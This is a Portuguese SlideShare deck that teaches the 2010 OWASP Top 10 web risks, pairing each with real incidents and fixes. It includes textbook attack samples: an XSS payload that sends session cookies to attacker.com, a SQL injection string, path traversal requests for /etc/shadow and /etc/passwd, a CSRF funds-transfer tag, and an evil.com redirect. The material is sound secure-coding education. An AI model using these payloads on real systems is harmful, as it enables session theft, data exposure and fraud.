SlideShare uma empresa Scribd logo
1 de 66
Augusto Lüdtke
20/maio/2013
 Por que software seguro?
 Conceitos básicos
 Princípios de segurança
 OWASPTop 10
 Esta apresentação não é sobre a HP
 A HP não é responsável pelas opiniões apresentadas aqui
Network
Application
Database Server
Web Server
Application Server
Operating System
Fonte de 95% das vulnerabilidades
(Software Security Testing: Let’s Get Back to Basics)
Alvo de 75% dos ataques
(Now Is the Time for Security at the Application Level)
Explosão no número de vulnerabilidades
* National Vulnerabilty Database
A vantagem de corrigir cedo
 CIA
 Confidencialidade
 Integridade
 Disponibilidade (Availability)
 AAA
 Autenticação
 Autorização
 Auditoria
 OWASP
▪ Open Web Application Security Project (Projeto Aberto de Segurança de Aplicações
Web)
▪ Organização internacional
▪ Sem fins lucrativos
▪ Contribui para a melhoria da segurança de software
 OWASPTop 10
 Conscientização sobre segurança de aplicações, identificando alguns dos
maiores riscos que as organizações enfrentam.
Versão 2010: risco x prevalência
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage
 A8: Failure to Restrict URLAccess
 A9: InsufficientTransport Layer Protection
 A10: Unvalidated Redirects and Forwards
A1: Injection
 Visão geral
▪ Dados não confiáveis enviados para um interpretador como parte de um
comando/consulta
▪ Interpretador executa um comando malicioso
▪ Interpretadores:
▪ Bancos de dados
▪ Servidores LDAP
▪ Shell
 Vulnerabilidades associadas
▪ CWE-77: Improper Neutralization of Special Elements used in a Command
('Command Injection')
▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command
('SQL Injection')
A1: Injection
 Exemplo
 A aplicação usa dados não-confiáveis na construção da consulta SQL:
String query = "SELECT * FROM accounts
WHERE custID='" + request.getParameter("id") +"'";
 O atacante modifica o parâmetro ‘id’ no browser para enviar ' or '1'='1:
http://example.com/app/accountView?id=' or '1'='1
 E a consulta executada é:
SELECT * FROM accounts WHERE custID='' or '1'='1'
A1: Injection
 Exemplos reais de SQL injection
 Microsoft UK (junho/2007)
▪ Defacement
 Nações Unidas (agosto/2007)
▪ Defacement
A1: Injection
 Exemplos reais de SQL injection
 Sony Pictures (junho/2011)
▪ Milhares de contas (1M x 37K)
▪ Nomes
▪ Senhas
▪ Endereços de e-mail
▪ Endereços residenciais
▪ Datas de nascimento
 Yahoo!Voices (julho/2012)
▪ Mais de 400K contas
▪ Usernames
▪ Senhas não criptografadas
A1: Injection
 Prevenção
 Consultas parametrizadas: os dados são separados dos comandos
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();
A2: Cross Site Scripting (XSS)
 Visão geral
▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, por
exemplo)
▪ Aplicação repassa dados para o browser da vítima
▪ Browser da vítima executa os comandos
 Vulnerabilidades associadas
▪ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')
A2: Cross Site Scripting (XSS)
 Exemplo
 A aplicação usa dados não-confiáveis na construção de código HTML:
(String) page += “<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
 O atacante cria uma URL para esta página, modificando o parâmetro CC para:
‘><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>
 Ao processar a URL, o browser do usuário processa a página contendo o
JavaScript e o ID da sessão do usuário é enviado para o website do atacante.
A2: Cross Site Scripting (XSS)
 Exemplos reais
 barackobama.com (abril/2008)
▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com
 votehillary.org (abril/2008)
▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
A2: Cross Site Scripting (XSS)
 Prevenção
▪ Encoding/escaping de dados na entrada e na saída
▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)
▪ Proteger cookies com o atributo HttpOnly
A3: Broken Authentication and Session Management
 Visão geral
▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessão
para assumir a identidade do usuário.
▪ Alvos: contas, senhas e IDs de sessão
 Vulnerabilidades associadas
▪ CWE-287: Improper Authentication
A3: Broken Authentication and Session Management
 Exemplos
 Usuário autenticado informa os amigos sobre a passagem que comprou:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Ha
waii
 Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
A3: Broken Authentication and Session Management
 Exemplos reais
 Timeout da aplicação não é definido apropriadamente:
A3: Broken Authentication and Session Management
 Exemplos reais
 Senhas não criptografadas no banco de dados:
▪ DreamHost (janeiro/2012)
▪ Billabong (julho/2012)
A3: Broken Authentication and Session Management
 Prevenção
▪ Adicione um timeout à sessão para reduzir a janela de oportunidade
▪ Use funções de hash e “salt” para armazenar senhas
▪ Transmita as credenciais somente sobre HTTPS
A4: Insecure Direct Object References
 Visão geral
▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de um
parâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)
▪ A aplicação não verifica as permissões necessárias e dá acesso indevido às
informações
 Vulnerabilidades associadas
▪ CWE-639: Authorization BypassThrough User-Controlled Key
▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')
A4: Insecure Direct Object References
 Exemplo
 A aplicação usa dados não verificados numa consulta SQL acessando
informações da conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ...);
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
 O atacante modifica o parâmetro ‘acct’ no browser para enviar o número da
conta que ele quiser:
http://example.com/app/accountInfo?acct=notmyacct
A4: Insecure Direct Object References
 Exemplo
 A aplicação abre arquivos que são determinados pelo usuário
http://some_site.com/../../../../etc/shadow
http://some_site.com/get-files?file=/etc/passwd
 Exemplos de path traversal em servidores web:
▪ Nginx (CVE-2009-3898)
▪ ApacheTomcat (CVE-2009-2902)
▪ IIS (CVE-2000-0884)
A4: Insecure Direct Object References
 Exemplos reais
 Dados de outros usuários acessados com pequenas mudanças na URL:
▪ Passport Canada (dezembro/2007)
▪ Citibank (junho/2011)
A4: Insecure Direct Object References
 Prevenção
▪ Verifique se o usuário tem permissão para acessar o objeto requerido
▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”
▪ Normalize/canonicalize a requisição antes de validá-la
▪ Transforme %2e%2e%5c em ..
A5: Cross-Site Request Forgery (CSRF)
 Visão geral
▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação web
vulnerável
▪ Browser inclui automaticamente dados de autenticação do usuário
▪ Aplicação executa o comando em função da confiança que tem no usuário
 Vulnerabilidades associadas
▪ CWE-352: Cross-Site Request Forgery (CSRF)
A5: Cross-Site Request Forgery (CSRF)
 Exemplo
 Site do banco recebe requisições de transferência no seguinte formato:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ou
iframe:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
 Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irá
transferir o dinheiro para o atacante.
A5: Cross-Site Request Forgery (CSRF)
 Exemplo reais
 Vulnerabilidades de CSRF permitiam:
▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)
▪ Postar comentários
▪ Seguir usuários/perfis
A5: Cross-Site Request Forgery (CSRF)
 Prevenção
▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisição
HTTP
▪ Limitar o tempo de vida dos cookies de sessão
A6: Security Misconfiguration
 Visão geral
▪ É necessária uma configuração segura definida para a aplicação, frameworks,
servidores de aplicação, servidores web, bancos de dados e plataforma.
▪ Inclui configurações default e atualização de pacotes
 Vulnerabilidades associadas
▪ CWE-2: Environment
A6: Security Misconfiguration
 Exemplo real
 Locaweb (setembro/2010)
▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)
▪ Mais de 25 mil sites atacados
▪ Troca de acusações entre Locaweb e Red Hat
A6: Security Misconfiguration
 Prevenção
▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado com
todos updates e patches
▪ Desabilite serviços, portas, contas e privilégios desnecessários
▪ Modifique ou desabilite senhas default
A7: Insecure Cryptographic Storage
 Visão geral
 Muitas aplicações não protegem adequadamente dados sensíveis:
▪ Não criptografam os dados
▪ Usam algoritmos inadequados
▪ Não protegem as chaves criptográficas
 Vulnerabilidades associadas
▪ CWE-310: Cryptographic Issues
▪ CWE-312: Cleartext Storage of Sensitive Information
▪ CWE-326: Inadequate Encryption Strength
A7: Insecure Cryptographic Storage
 Exemplo real
 LinkedIn (junho/2012)
▪ Vazamento de 6,5 milhões de senhas criptografadas
▪ Senhas armazenadas como hashes SHA-1
▪ Não utilizavam “salt”
▪ Vulneráveis a um ataque com “rainbow tables”
A7: Insecure Cryptographic Storage
 Prevenção
▪ Identifique quais são os dados sensíveis
▪ Use as proteções adequadas
▪ Algoritmos seguros
▪ Criptografia do sistema de arquivos
▪ Criptografia de registros no banco de dados
▪ Funções de hash com “salt” para armazenar senhas
▪ Gerenciamento de chaves criptográficas
▪ Geração
▪ Armazenamento
A8: Failure to Restrict URL Access
 Visão geral
▪ O atacante, que é um usuário do sistema, altera a URL para apontar para uma
página privilegiada.
▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquela
página
 Vulnerabilidades associadas
▪ CWE-285: Improper Authorization
A8: Failure to Restrict URL Access
 Exemplo real
 D-Link DSL-504T (CVE-2005-1827)
▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URL
http://ipdoroteador/cgi-bin/firmwarecfg
▪ Com este acesso, o usuário podia
▪ Atualizar o firmware
▪ Reiniciar o roteador
▪ Restaurar uma configuração salva
A8: Failure to Restrict URL Access
 Prevenção
▪ Inclua controles de autenticação e autorização em cada página
▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir o
esforço de manutenção
▪ O mecanismo de autorização deve negar todos acessos por default, exigindo
permissões explícitas para cada página
A9: InsufficientTransport Layer Protection
 Visão geral
 Aplicações falham em autenticar, criptografar e proteger a confidencialidade
e integridade de tráfego de rede sensível.
 Vulnerabilidades associadas
▪ CWE-319: Cleartext Transmission of Sensitive Information
A9: InsufficientTransport Layer Protection
 Exemplo real
 MI-5 (abril/2012)
▪ Certificado SSL expirado
A9: InsufficientTransport Layer Protection
 Exemplo real
 Firesheep (outubro/2010)
▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
A9: InsufficientTransport Layer Protection
 Prevenção
▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versões
HTTPS.
▪ Proteja os cookies com o atributo Secure
▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:
▪ Domínios
▪ Validade
▪ Autoridade certificadora (CA)
A10: Unvalidated Redirects and Forwards
 Visão geral
 A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetros
do usuário para de terminar o destino. Um atacante pode criar uma URL com
um domínio conhecido, mas que levará o usuário para uma página maliciosa.
 Vulnerabilidades associadas
▪ CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
A10: Unvalidated Redirects and Forwards
 Exemplo
 A aplicação tem uma página chamada “redirect.jsp”, que recebe um
parâmetro “url”. O atacante constrói uma URL que redireciona usuários para
um site malicioso que faz phishing e instala malwares:
http://www.example.com/redirect.jsp?url=evil.com
 Exemplo real
 Trac (CVE-2008-2951)
▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através de
uma URL no parâmetro q.
A10: Unvalidated Redirects and Forwards
 Prevenção
▪ Não use redirects
▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino
▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
 Livros
 Sites
 www.owasp.org
 cwe.mitre.org
 Notícias
 nakedsecurity.sophos.com
 thehackernews.com
 www.forbes.com/sites/andygreenberg/
 www.h-online.com
 www.net-security.org
 www.securitybloggersnetwork.com
 @augusto_ludtke
Segurança de Software - 10 Maiores Riscos

Mais conteúdo relacionado

Mais procurados

SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)TzahiArabov
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Secure code practices
Secure code practicesSecure code practices
Secure code practicesHina Rawal
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewMichael Furman
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard ProjectNarudom Roongsiriwong, CISSP
 
security misconfigurations
security misconfigurationssecurity misconfigurations
security misconfigurationsMegha Sahu
 
Addressing the cyber kill chain
Addressing the cyber kill chainAddressing the cyber kill chain
Addressing the cyber kill chainSymantec Brasil
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAjin Abraham
 
Threat modeling web application: a case study
Threat modeling web application: a case studyThreat modeling web application: a case study
Threat modeling web application: a case studyAntonio Fontes
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World42Crunch
 

Mais procurados (20)

SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
OWASP Top Ten in Practice
OWASP Top Ten in PracticeOWASP Top Ten in Practice
OWASP Top Ten in Practice
 
Techowl- Wazuh.pdf
Techowl- Wazuh.pdfTechowl- Wazuh.pdf
Techowl- Wazuh.pdf
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
Deep dive into ssrf
Deep dive into ssrfDeep dive into ssrf
Deep dive into ssrf
 
Secure Session Management
Secure Session ManagementSecure Session Management
Secure Session Management
 
OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)OWASP Top 10 2021 Presentation (Jul 2022)
OWASP Top 10 2021 Presentation (Jul 2022)
 
Ssdf nist
Ssdf nistSsdf nist
Ssdf nist
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's New
 
Application Security Verification Standard Project
Application Security Verification Standard ProjectApplication Security Verification Standard Project
Application Security Verification Standard Project
 
security misconfigurations
security misconfigurationssecurity misconfigurations
security misconfigurations
 
Addressing the cyber kill chain
Addressing the cyber kill chainAddressing the cyber kill chain
Addressing the cyber kill chain
 
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSFAppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
AppSec EU 2016: Automated Mobile Application Security Assessment with MobSF
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
Threat modeling web application: a case study
Threat modeling web application: a case studyThreat modeling web application: a case study
Threat modeling web application: a case study
 
OWASP API Security Top 10 - API World
OWASP API Security Top 10 - API WorldOWASP API Security Top 10 - API World
OWASP API Security Top 10 - API World
 

Destaque

Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408Conviso Application Security
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP Brasília
 
Segurança de software na Administração Pública Federal
Segurança de software na Administração Pública FederalSegurança de software na Administração Pública Federal
Segurança de software na Administração Pública FederalOWASP Brasília
 
Treinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurançaTreinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurançaLeivan Carvalho
 
Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1José Wagner Bungart
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISOImplementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISOConviso Application Security
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)Erick Belluci Tedeschi
 

Destaque (12)

Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Segurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwaresSegurança nos ciclos de desenvolvimento de softwares
Segurança nos ciclos de desenvolvimento de softwares
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408
 
Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013Ameaças e Vulnerabilidade em Apps Web-2013
Ameaças e Vulnerabilidade em Apps Web-2013
 
OWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHAOWASP_BSB_20120827_TOP10_ISMAELROCHA
OWASP_BSB_20120827_TOP10_ISMAELROCHA
 
Elicitação e Análise
Elicitação e AnáliseElicitação e Análise
Elicitação e Análise
 
Segurança de software na Administração Pública Federal
Segurança de software na Administração Pública FederalSegurança de software na Administração Pública Federal
Segurança de software na Administração Pública Federal
 
Treinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurançaTreinamento em levantamento de requisitos de segurança
Treinamento em levantamento de requisitos de segurança
 
Resumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitosResumo de Técnicas de elicitação de requisitos
Resumo de Técnicas de elicitação de requisitos
 
Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1Projetos Estruturados de Redes - Parte 1
Projetos Estruturados de Redes - Parte 1
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISOImplementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISO
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
 

Semelhante a Segurança de Software - 10 Maiores Riscos

Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenPOANETMeetup
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityMarlon Bernardes
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012Marcio Cunha
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de SegurançaAlan Carlos
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Alex Hübner
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...Clavis Segurança da Informação
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifactstonyrodrigues
 

Semelhante a Segurança de Software - 10 Maiores Riscos (20)

Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
CWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top TenCWI - Núcleo de tecnologia - OWASP Top Ten
CWI - Núcleo de tecnologia - OWASP Top Ten
 
OWASP Top Ten
OWASP Top TenOWASP Top Ten
OWASP Top Ten
 
OWASP TOP 10 - Web Security
OWASP TOP 10 - Web SecurityOWASP TOP 10 - Web Security
OWASP TOP 10 - Web Security
 
Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
 
Sql injection
Sql injectionSql injection
Sql injection
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de Segurança
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Tony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics ArtifactsTony\'s Top 10 Computer Forensics Artifacts
Tony\'s Top 10 Computer Forensics Artifacts
 

Segurança de Software - 10 Maiores Riscos

  • 2.  Por que software seguro?  Conceitos básicos  Princípios de segurança  OWASPTop 10
  • 3.  Esta apresentação não é sobre a HP  A HP não é responsável pelas opiniões apresentadas aqui
  • 4.
  • 5. Network Application Database Server Web Server Application Server Operating System Fonte de 95% das vulnerabilidades (Software Security Testing: Let’s Get Back to Basics) Alvo de 75% dos ataques (Now Is the Time for Security at the Application Level)
  • 6. Explosão no número de vulnerabilidades * National Vulnerabilty Database
  • 7. A vantagem de corrigir cedo
  • 8.
  • 9.  CIA  Confidencialidade  Integridade  Disponibilidade (Availability)  AAA  Autenticação  Autorização  Auditoria
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.  OWASP ▪ Open Web Application Security Project (Projeto Aberto de Segurança de Aplicações Web) ▪ Organização internacional ▪ Sem fins lucrativos ▪ Contribui para a melhoria da segurança de software  OWASPTop 10  Conscientização sobre segurança de aplicações, identificando alguns dos maiores riscos que as organizações enfrentam.
  • 24. Versão 2010: risco x prevalência  A1: Injection  A2: Cross-Site Scripting (XSS)  A3: Broken Authentication and Session Management  A4: Insecure Direct Object References  A5: Cross-Site Request Forgery (CSRF)  A6: Security Misconfiguration  A7: Insecure Cryptographic Storage  A8: Failure to Restrict URLAccess  A9: InsufficientTransport Layer Protection  A10: Unvalidated Redirects and Forwards
  • 25. A1: Injection  Visão geral ▪ Dados não confiáveis enviados para um interpretador como parte de um comando/consulta ▪ Interpretador executa um comando malicioso ▪ Interpretadores: ▪ Bancos de dados ▪ Servidores LDAP ▪ Shell  Vulnerabilidades associadas ▪ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') ▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • 26. A1: Injection  Exemplo  A aplicação usa dados não-confiáveis na construção da consulta SQL: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";  O atacante modifica o parâmetro ‘id’ no browser para enviar ' or '1'='1: http://example.com/app/accountView?id=' or '1'='1  E a consulta executada é: SELECT * FROM accounts WHERE custID='' or '1'='1'
  • 27. A1: Injection  Exemplos reais de SQL injection  Microsoft UK (junho/2007) ▪ Defacement  Nações Unidas (agosto/2007) ▪ Defacement
